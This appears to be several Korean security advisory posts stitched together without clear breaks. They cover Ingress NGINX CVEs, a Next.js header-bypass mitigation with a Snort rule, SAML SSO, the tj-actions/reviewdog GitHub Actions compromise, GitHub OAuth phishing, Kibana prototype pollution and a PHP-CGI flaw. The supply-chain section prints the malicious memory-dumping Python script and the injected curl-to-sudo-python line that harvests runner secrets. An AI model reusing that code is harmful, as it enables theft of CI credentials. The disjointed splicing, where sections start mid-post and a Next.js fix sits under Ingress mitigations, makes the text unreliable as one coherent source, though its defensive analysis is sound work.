- Ingress란 클러스터 외부에서 내부로 접근하는 요청들을 어떻게 처리할지 정의해둔 규칙들의 모음 [1][2][3][4] -Ingress Controller란 Ingress 리소스에 정의된 규칙을 읽고, 해당 규칙에 따라 트래픽을 라우팅 [1][2][3][4] - Ingress NGINX Controller란 NGINX를 역방향 프록시 및 로드 밸런서로 사용하는 Kubernetes용 Ingress Controller [5][6]
2. 주요내용 [7]
- Ingress NGINX Controller의 구조적 설계 문제로 공격자가 악의적인 Ingress 객체를 전송하여 임의의 NGINX 설정을 주입할 수 있음
> 취약점 악용에 성공 시 클러스터 내 모든 시크릿 노출, 원격 코드 실행 등이 가능
- Admission Controller는 사용자의 요청을 변조(Mutate)와 검증(Validation)을 통해 요청의 승인 여부를 결정
> 기본적으로 인증 없이 누구나 접근 가능한 상태로 배포되어 네트워크를 통해 액세스 가능
※ 변조(Mutate) : 사용자의 요청을 사전 정의된 변형 규칙에 따라 요청을 변경
※ 검증(Validation) : 요청이 기준에 맞는지 확인하여 해당 요청을 승인 또는 거절
- Admission Controller는 Admission Webhook Endpoint를 통해 Kubernetes API 서버와 통신
> AdmissionReview 구조로 통신
> 일반 적으로 Kubernetes API 서버만 AdmissionReview 요청을 보내야 하지만, Admission Controller는 누구나 접근 가능하기 때문에 임의의 AdmissionReview요청을 전송할 수 있음
[사진 1] Admission Controller
- Ingress NGINX Controller는 AdmissionReview 요청을 처리할 때 템플릿 파일과 제공된 Ingress 객체를 기반으로 임시 NGINX 구성 파일을 생성
> 임시 파일 생성 후 nginx -t 명령을 사용해 임시 구성 파일의 유효성을 테스트
> 이때, 적절한 검증이 없어 조작된 Ingress 객체를 전송해 임의의 NGINX 구성을 삽입할 수 있음
[사진 2] nginx -t
2.1 취약점
2.1.1 CVE-2025-24514 [9]
- authreq 파서는 인증 관련 주석을 처리하는 역할을 수행
> 주석에는 URL을 포함하는 auth-url 필드를 설정해야 하며, 해당 값을 적절한 검증 없이 $externalAuth.URL에 포함
> ngnix -t 명령을 실행할 때 명령에 포함되어 실행
2.1.2 CVE-2025-24513 [10]
- 부적절한 입력 값 검증으로 Directory Traversal 공격이 가능
> 이를 통해 DoS 또는 제한된 비밀 객체 노출 발생 가능
2.1.3 CVE-2025-1097 [11]
- authtls 파서는 auth-tls-match-cn 주석을 CommonNameAnnotationValidator를 사용하여 필드 값을 검증
> auth-tls-match-cn 주석은 CN=으로 시작
> 이를 통해 임의의 코드 실행이 가능
2.1.4 CVE-2025-1098 [12]
- mirror-target과 mirror-host Ingress 주석을 사용하여 nginx에 임의의 구성을 삽입할 수 있음
> 이를 통해 임의의 코드 실행이 가능
2.1.5 CVE-2025-1974 [13]
- 특정 조건 하에서 Pod Network에 액세스할 수 있는 인증되지 않은 공격자가 임의 코드 실행이 가능
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [14][15][16][17]
제품명
영향받는 버전
해결 버전
Ingress NGINX Controller
1.11.0 미만
1.11.5
1.11.0 이상 ~ 1.11.4 이하
1.12.0
1.12.1
- 추가 모니터링 및 필터 적용
> Admission Controller가 Kubernetes API 서버에서만 접근 가능하도록 접근 제한
> Admission Webhook Endpoint가 외부에 노출되지 않도록 설정
> Admission Controller 컴포넌트가 불필요할 경우 비활성화
> Helm을 사용하여 ingress-nginx를 설치한 경우 controller.admissionWebhooks.enabled=false로 설정하여 재설치 > 수동으로 ingress-nginx를 설치한 경우
① ValidatingWebhookConfiguration에서 ingress-nginx-admission 삭제
② ingress-ngin-controller 컨테이너의 Deployment 또는 Daemonset에서 '--validating-webhook' 인수 삭제
// Middleware to remove the x-middleware-subrequest header
app.use((req, res, next) => {
delete req.headers['x-middleware-subrequest'];
next();
});
- WAF에서 x-middleware-subrequest 헤더를 포함한 요청을 차단하도록 설정
- 탐지룰 설정
alert tcp any any -> any any (msg:"CVE-2025-29927 x-middleware-subrequest Detected"; flow:to_server,established; content:"x-middleware-subrequest|3A|"; http_header; pcre:"x-middleware-subrequest\s*:\s*(pages\/_middleware|middleware|src\/middleware)"; )
2.1 SAML (Security Assertion Markup Language) Single Sign-On(SSO)
- SAML : 인증 정보 제공자(Identity Provider, idP)와, 서비스 제공자(Service Provider, SP) 간의 인증 및 인가 데이터를 교환하기 위한 XML 기반의 표준 데이터 포맷
- SSO : 하나의 자격 증명으로 한 번만 로그인하여 여러 앱에 액세스할 수 있도록 해 주는 기술
[사진 3] 동작 과정 요약 [7]
단계
설명
서비스 요청
- 사용자가 서비스에 접근 > SP는 해당 유저의 인증 유무 확인 (Access Check)
SSO 서비스 이동
- 인증되지 않은 경우 SP는 SAMLRequest를 생성해 사용자에게 전송 > SP는 IDP는 직접 연결되지 않고, 사용자의 브라우저에서 SAMLRequest를 IDP로 리다이렉션
SSO 서비스 요청
- IDP는 SAMLRequest를 파싱하고 사용자 인증을 진행
SAML 응답
- 인증 성공 시 SAMLResponse를 생성하여 사용자의 브라우저로 전송 > SAMLResponse에는 SAMLAssertion (사용자의 인증 정보를 포함한 XML 문서)이 포함 > IDP는 웹 브라우저에 Session Cokkie를 설정하고 해당 정보는 브라우저에 캐싱
SAML 응답 전송
- 사용자는 SP의 ACS로 SAMLResponse를 POST
서비스 응답
- ACS는 SAMLResponse를 검증하고 유효한 경우 요청한 서비스로 사용자를 포워딩
- 공격자는 GitHub Action reviewdog/action-setup@v1를 감염시킨 후 이를 통해 tj-actions/changed-files를 침투 [4][5][6]
> CI/CD 러너(Runner) 메모리 데이터를 덤프해 환경 변수와 비밀 키를 로그에 기록하도록 조작
> 이로 인해 AWS 액세스 키, 깃허브 개인 액세스 토큰(PAT), NPM 토큰, 개인 RSA 키 등이 외부로 노출될 수 있음
[사진 1] 공급망 공격 과정 요약
- 공격자는 reviewdog/action-setup@v1의 install.sh에 Based64로 인코딩된 Python 코드를 삽입(Hardcoded) [8]
> 해당 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 덤프하는 코드
> CVE-2025-30154 (CVSS: 8.6)으로 지정 [9]
[사진 2] install.sh에 Hardcoded된 악성 코드
#!/usr/bin/env python3
# based on https://davidebove.com/blog/?p=1620
import sys
import os
import re
# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환
def get_pid():
# /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
# 각 프로세스의 cmdline (실행 명령어) 확인
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read(): # Runner.Worker가 포함된 프로세스인지 확인
return pid
except IOError:
continue
# 해당 프로세스가 없으면 예외 발생
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
# Runner.Worker 프로세스의 PID 찾기
pid = get_pid()
print(pid)
# 해당 프로세스의 maps과 mem 파일 경로 지정
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
# map 파일 및 mem 파일 읽기
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
# 메모리 매핑된 각 영역을 한 줄씩 읽음
for line in map_f.readlines():
# 정규 표현식으로 메모리 시작-끝 주소와 권한 정보 추출
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
# 읽기 권한이 있는 영역만 대상
if m and m.group(3) == 'r':
start = int(m.group(1), 16) # 시작 주소
end = int(m.group(2), 16) # 끝 주소
# 64비트 환경에서 파이썬 int로 처리할 수 없는 주소 건너뛰기
if start > sys.maxsize:
continue
# 메모리 파일 포인터를 해당 영역의 시작 위치로 이동
mem_f.seek(start)
try:
# 메모리 내용을 읽고 표준 출력으로 내보내기 (바이너리로)
chunk = mem_f.read(end - start)
sys.stdout.buffer.write(chunk)
except OSError:
# 일부 영역은 읽을 수 없을 수 있음 → 무시하고 넘어감
continue
- 공격자는 덤프로 탈취한 자격증명을 도용해 tj-actions/changed-files를 침해한 것으로 판단됨
> 공격자는 Based64로 인코딩된 페이로드를 index.js에 삽입
> 해당 코드는 특정 URL에서 Python 코드를 다운 받아 실행한 후 Based64를 두 번 적용해 출력하는 코드
> CVE-2025-30066 (CVSS: 8.6)으로 지정 [10]
[사진 3] 삽입된 함수
# 현재 OS 타입이 리눅스인 경우
if [[ "$OSTYPE" == "linux-gnu" ]]; then
# 특정 URL에서 memdump.py 다운로드 및 실행
# sudo 권한으로 실행
# 널 문자 제거 (tr -d '\0'), 특정 패턴 출력 (grep ~), 중복 제거 (sort -u), Based64 인코딩 두 번 적용 (base64 -w 0)
# 인코딩된 값 출력
B64_BLOB=`curl -sSf hxxps://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fi
- 특정 URL의 Python 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 출력
#!/usr/bin/env python3
import sys
import os
import re
# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환하는 함수
def get_pid():
# /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
# 각 프로세스의 cmdline (실행 명령어) 확인
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
# Runner.Worker가 포함된 프로세스인지 확인
if b'Runner.Worker' in cmdline_f.read():
# 찾으면 해당 PID 반환
return pid
except IOError:
# 접근 불가한 PID는 무시
continue
# 찾지 못할 경우 예외 발생
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid() # 대상 프로세스 PID 획득
print(pid) # 표준 출력으로 PID 출력 (bash 스크립트에서 사용)
map_path = f"/proc/{pid}/maps" # 메모리 매핑 정보 파일
mem_path = f"/proc/{pid}/mem" # 실제 메모리 접근 파일
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # 매핑된 메모리 영역 하나씩 확인
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) # 시작-끝 주소, 권한 파싱
if m and m.group(3) == 'r': # 읽기 권한(r)이 있는 영역만
start = int(m.group(1), 16)
end = int(m.group(2), 16)
if start > sys.maxsize: # 64비트 환경에서 처리 불가한 주소 방지
continue
mem_f.seek(start) # 메모리 영역 시작점으로 이동
try:
chunk = mem_f.read(end - start) # 해당 메모리 영역 읽기
sys.stdout.buffer.write(chunk) # 메모리 내용 바이너리로 출력 (bash에서 후속 처리)
except OSError:
# 일부 보호된 메모리 영역 접근 불가 → 무시
continue
[사진 4] tj-actions/changed-files 침해 요약
3. 대응방안
① Action 업데이트 적용 (or 대체 도구로 교체 or 사용 중단)
- tj-actions/changed-files의 경우 46.0.1 버전에서 취약점을 해결 [11]
> 대체 도구 사용 : tj-actions/changed-files 액션을 step-security/changed-files@v45 로 교체
> 또는 사용 중단
② Action 워크플로 실행 로그 감사
- 해당 기간 동안 Runner.Worker 관련 이상 활동 및 tj-actions/changed-files 또는 reviewdog/action-setup@v1 기록 확인
> “🐶 Preparing environment ...” 또는 [사진 5]의 문자열이 확인될 경우 악성코드가 실행된 것
[사진 5] 악성코드가 실행된 경우의 예시
③ 관련된 비밀 정보 모두 변경
- GitHub 개인 액세스 토큰 (PAT), AWS 키, NPM 토큰, RSA 키 등 모든 종류의 비밀 키 교체
④ GitHub Actions 버전 고정 : 커밋 해시로 고정
- 특정 커밋 해시를 사용해 버전 고정
⑤ GitHub 허용 목록 기능 활용
- 신뢰할 수 있는 GitHub Actions만 실행하도록 허용 목록 구성
⑥ Reviewdog 의존 Action 점검
- reviewdog/action-setup이 다른 reviewdog Action의 구성요소로 포함되어 있어 해당 Action들에 대한 확인 필요 > reviewdog/action-shellcheck > reviewdog/action-composite-template > reviewdog/action-staticcheck > reviewdog/action-ast-grep > reviewdog/action-typos
- 해외에서 12,000곳의 깃허브 리포지토리를 접근 계정을 겨냥한 대규모 사이버 공격이 최근 발생 - 깃허브의 다양한 인증 설정을 해제하도록 만들어진 가짜 OAuth 페이지로 유도
내용
- 해외에서 12,000개의 GitHub 리포지토리를 대상으로한 피싱 공격이 발생 > 가짜 보안 경고를 문제로 개발자를 속여 계정과 코드에 대한 전체 제어권 획득 시도 > Security Alert: Unusual Access Attempt > 특정 IP에서 비정상적인 활동이 발생했음을 경고 > 계정이 침해당했으며, 비밀번호를 변경하고 세션 검토 및 관리, 2단계 인증 활성화 안내 내용을 포함
- 깃허브의 다양한 인증 설정을 해제하도록 만들어진 가짜 OAuth 페이지로 유도 > 사용자가 로그인하여 악성 OAuth 앱을 인증하면 액세스 토큰이 생성되어 아래 URL로 전송 > URL : github-com-auth-secure-access-token.onrender[.]com > 공개 및 비공개 리포지토리 접근 및 삭제, 사용자 프로필 읽기 및 수정, 조직 멤버십 및 프로젝트 조회, 깃허브 지스트(Gist) 접근 등이 가능해짐
- 권고 > GitHub 설정에서 액세스 권한 취소 > 'gitsecurityapp'와 이름이 비슷한 GitHub 앱 또는 OAuth 앱에 대한 액세스 취소 > 의심스러운 GitHub Actions 존재 확인 및 비공개 gist 생성 여부 확인 > 자격 증명과 승인 토큰 변경 등
기타
- KISA 보호나라 관련 권고 > 깃허브 이용자가 의심스러운 상황을 인지한 경우 ① 패스워드 즉시 리셋 ② 이중인증 복구 코드 즉시 리셋 ③ 개인 액세스 토큰 안전성 검토 ④ 패스워드 자동 저장 기능 사용하지 않기 등 보안 강화 활동이 요구
> 피싱 공격발생에 대비한 활동으로 다음과 같은 방법 권고 o 해킹메일 예방 방법 - 발신자 주소를 정확히 확인하고 모르는 이메일 및 첨부파일은 열람 금지 - 이메일 첨부 파일 중 출처가 불분명한 파일 다운로드 자제 - 이메일 내부 클릭을 유도하는 링크는 일단 의심하고 연결된 사이트 주소 정상 사이트 여부를 반드시 확인
o 피싱 · 스미싱 예방 방법 - 출처가 불분명한 사이트 주소는 클릭을 자제하고 바로 삭제 - 휴대폰번호, 아이디, 비밀번호 등 개인정보는 신뢰된 사이트에만 입력하고 인증번호의 경우 모바일 결제로 연계될 수 있으므로 한 번 더 확인
o PC 및 스마트폰 보안 강화 - 운영체제 및 자주 사용하는 문서 프로그램(hwp, doc 등)에 대해 최신 업데이트 수행 - 바이러스 백신 업데이트 및 수시 검사
□ 침해사고 신고 o 'KISA 인터넷 보호나라&KrCERT' 홈페이지(http://www.boho.or[.]kr) → 상담및신고 → 해킹 사고 신고
- Elasticsearch에 저장된 데이터를 쉽게 시각화하고 탐색 및 분석할 수 있는 웹 인터페이스를 제공
- 사용자가 Elasticsearch에 쿼리를 실행하고, 결과를 시각화(Discover, Visualize, Dashboard, Canvas, Maps 등)하여 분석할 수 있도록 도와줌
[사진 1] Kibana 예시
1.1 ELK
- Elasticsearch, Logstash, Kibana의 조합으로, 데이터 수집 및 분석을 위한 오픈 소스 솔루션 [2]
> Beats : 데이터 수집 담당
※ 데이터를 안정적으로 버퍼링하고 전달하기 위해 Redis, Kafka, RabbitMQ 등과 같이 사용할 수 있음
>Logstash : 다양한 소스에서 데이터를 수집 및 변환하며, 다른 저장소에 전달하는 데이터 처리 파이프 라인 도구
> Elasticsearch : 실시간 분산형 검색 엔진으로 데이터 검색 및 분석을 위해 사용되고, 대규모 데이터를 저장하고 실시간으로 검색할 수 있도록 설계
> Kibana : Elasticsearch에서 저장된 데이터를 시각화하고 분석하는 데 사용
[사진 2] ELK
2. CVE-2025-25015
[사진 3] CVE-2025-25015 [3]
- Prototype Pollution (프로토타입 오염)을 통한 Kibana 임의 코드 실행 취약점 (CVSS : 9.9)
> 조작된 파일 업로드와 조작된 HTTP 요청을 통해 임의의 코드를 실행할 수 있음
※ Elastic Cloud에서 실행되는 Kibana 인스턴스에만 영향을 미침
※ 코드 실행은 Kibana Docker 컨테이너 내에서 제한되며 컨테이너 이스케이프와 같은 추가 악용은 seccomp-bpf 및 AppArmor 프로필에 의해 방지
영향받는 버전 Kibana 8.15.0 이상 ~ 8.17.3 미만 ※ 8.15.0 <= Kibana < 8.17.1 : Viewer 역할을 가진 사용자만 취약점을 악용할 수 있음 ※ Kibana 8.17.1 및 8.17.2 : "fleet-all, integrations-all, actions:execute-advanced-connectors" 권한을 모두 가지는 사용자만 취약점을 악용할 수 있음
- 벤더사 제공 최신 보안 업데이트 적용 [4][5]
제품명
영향받는 버전
해결 버전
Kibana
8.15.0 이상 ~ 8.17.3 미만
8.17.3
- 즉시 업데이트가 불가한 경우 권고
> Kibana 설정파일 (kibana.yml)에서 Integration Assistant 기능 플래그를 false(xpack.integration_assistant.enabled: false)로 설정
2.1 Prototype Pollution (프로토타입 오염) [6][7]
- JavaScript 런타임을 대상으로 하는 주입 공격으로, 공격자는 이를 악용해 객체 속성의 기본값을 제어할 수 있음
> 애플리케이션의 논리를 조작할 수 있으며, 서비스 거부 또는 원격 코드 실행으로 이어질 수 있음
- JavaScript는 프로토타입 기반 객체 지향 프로그래밍 언어
> 프로토타입 (Prototype)이란 JavaScript에서 객체가 다른 객체의 속성과 메서드를 상속받을 수 있도록 하는 메커니즘
> 프로토타입 기반 언어이므로, 객체는 다른 객체를 원형 (Prototype)으로 삼아 속성과 메서드를 공유할 수 있음
> 주요 특징
① 모든 객체는 프로토타입을 가짐 : 객체가 생성될 때, 해당 객체는 자동으로 다른 객체(프로토타입)를 참조하게 됨
② 객체는 프로토타입을 통해 다른 객체의 속성과 메서드를 상속 : 프로토타입을 활용하면 객체지향 프로그래밍의 상속 기능을 구현할 수 있음
③ 프로토타입은 체인 (Prototype Chain)으로 연결 : 어떤 객체에서 속성을 찾을 때, 해당 객체에 없으면 프로토타입을 따라가면서 검색
- 프로토타입은 체인 (Prototype Chain)
> 객체가 속성을 검색할 때, 자신의 프로퍼티에서 찾지 못하면 프로토타입을 따라가며 탐색하는 구조
> 모든 객체는 Object.prototype을 최상위 프로토타입으로 가지며, 이를 따라가면서 상속됨
> 속성을 찾아 상위 프로토타입을 따라 최종적으로 Object.prototype까지 도달하면 (상위 프로토타입에서도 속성을 찾지못한 경우) undefined 반환
> child에는 familyName 속성이 없지만, 프로토타입 체인을 따라 (parent > grandparent) familyName 속성을 찾음
- 공격자는 JavaScript의 프로토타입을 조작해 모든 객체에 악성 속성을 추가할 수 있음
> Object.prototype을 변경하면 모든 객체에 영향을 줄 수 있음
> __proto__, prototype 등의 속성을 사용해 Object.prototype을 변경할 수 있음
// 프로토타입 오염 전 상태 확인
console.log("프로토타입 오염 전 Object.prototype:");
console.log(Object.prototype.isAdmin); // undefined
// 프로토타입 오염 공격
Object.prototype.isAdmin = true; // true로 설정
// 프로토타입 오염 후 Object.prototype 상태 확인
console.log("\n프로토타입 오염 후 Object.prototype:");
console.log(Object.prototype.isAdmin); // true
// 프로토타입 오염 후 객체 생성 및 속성 확인
let obj = {};
console.log("\n오염된 프로토타입을 상속받은 객체:");
console.log(obj.isAdmin); // true
[사진 5] 오염 전 후 비교 [8]
2.2 대응 방안
① 사용자 입력 값 검증
> Object.prototype, proto 등 특정한 키워드를 필터링하고 안전한 데이터만 허용하도록 검증
② Object.create(null) 사용
> 프로토타입이 없는 객체를 생성 즉, Object.prototype을 상속받지 않으므로 프로토타입 오염 공격의 영향을 받지 않음
③ Object.freeze() 또는 Object.seal() 사용
> Object.freeze() : 객체의 변경을 막는 함수_객체의 속성 추가, 수정, 삭제를 할 수 없음
> Object.seal() : 객체의 변경을 막는 함수_ 객체의 속성추가, 수정, 삭제를 할 수 없음, 단, 쓰기 가능한 속성의 값은 변경 가능
- Windows 서버 대상 PHP 원격 코드 실행 취약점(CVE-2024-4577) 악용 사례 급증 - 공격에 성공할 경우 시스템 전체가 장악될 위험이 있어 기업 및 기관의 신속한 대응이 요구
내용
- CVE-2024-4577 > Windows 환경에서 PHP의 CGI 구현이 문자 인코딩 변환을 적절히 처리하지 못해 발생 > 윈도우 코드 페이지의 ‘Best-Fit’ 기능이 특정 유니코드 문자를 PHP 명령줄 옵션으로 잘못 해석해 명령 실행 가능 > 공격자는 일반 대시(-, 0x2D)가 아닌 소프트 하이폰(-, 0xAD)를 사용 > PHP-CGI 8.3.8 이전 버전, 8.2.20 이전 버전, 8.1.29 이전 버전에 영향 > PHP-CGI 8.3.8, 8.2.20, 8.1.29 버전에서 취약점을 수정
- 25.01 한 달 동안 전 세계 허니팟에서 해당 취약점을 노리는 1,089개의 고유 IP 주소가 탐지 > 공격자들은 취약점을 악용해 시스템 침투 및 자격 증명 탈취, 지속적인 접근 권한 확보 시도 > 단순한 데이터 탈취를 넘어 권한을 상승시켜 "TaoWu" Cobalt Strike 킷과 같은 고급 공격 도구를 활용하는 등 적극적인 공격을 전개 > Gh0st RAT, XMRig를 설치하거나, 랜섬웨어 공격자들은 웹쉘을 배포하고 시스템을 암호화
- 취약점 완화를 위해 신속한 패치 적용 권고 > 웹 서버에서 PHP 실행 파일이 외부에서 접근할 수 있는 디렉터리에 노출되지 않도록 설정 변경 필요 > 윈도우 환경에서 XAMPP를 사용하는 경우 PHP 실행 파일이 기본적으로 노출되는 문제가 있어, 추가적인 보안 조치가 필요 > 불필요한 서비스와 프로토콜을 비활성화 > 최소 권한 원칙 적용 > 네트워크 모니터링을 강화 > 악성코드 감염 여부를 지속적으로 점검
기타
보안 패치의 중요성이 다시 한번 강조된 사례 > 공격자들은 지속적으로 자동화된 스캔을 수행하며 패치되지 않은 시스템을 탐색하기 때문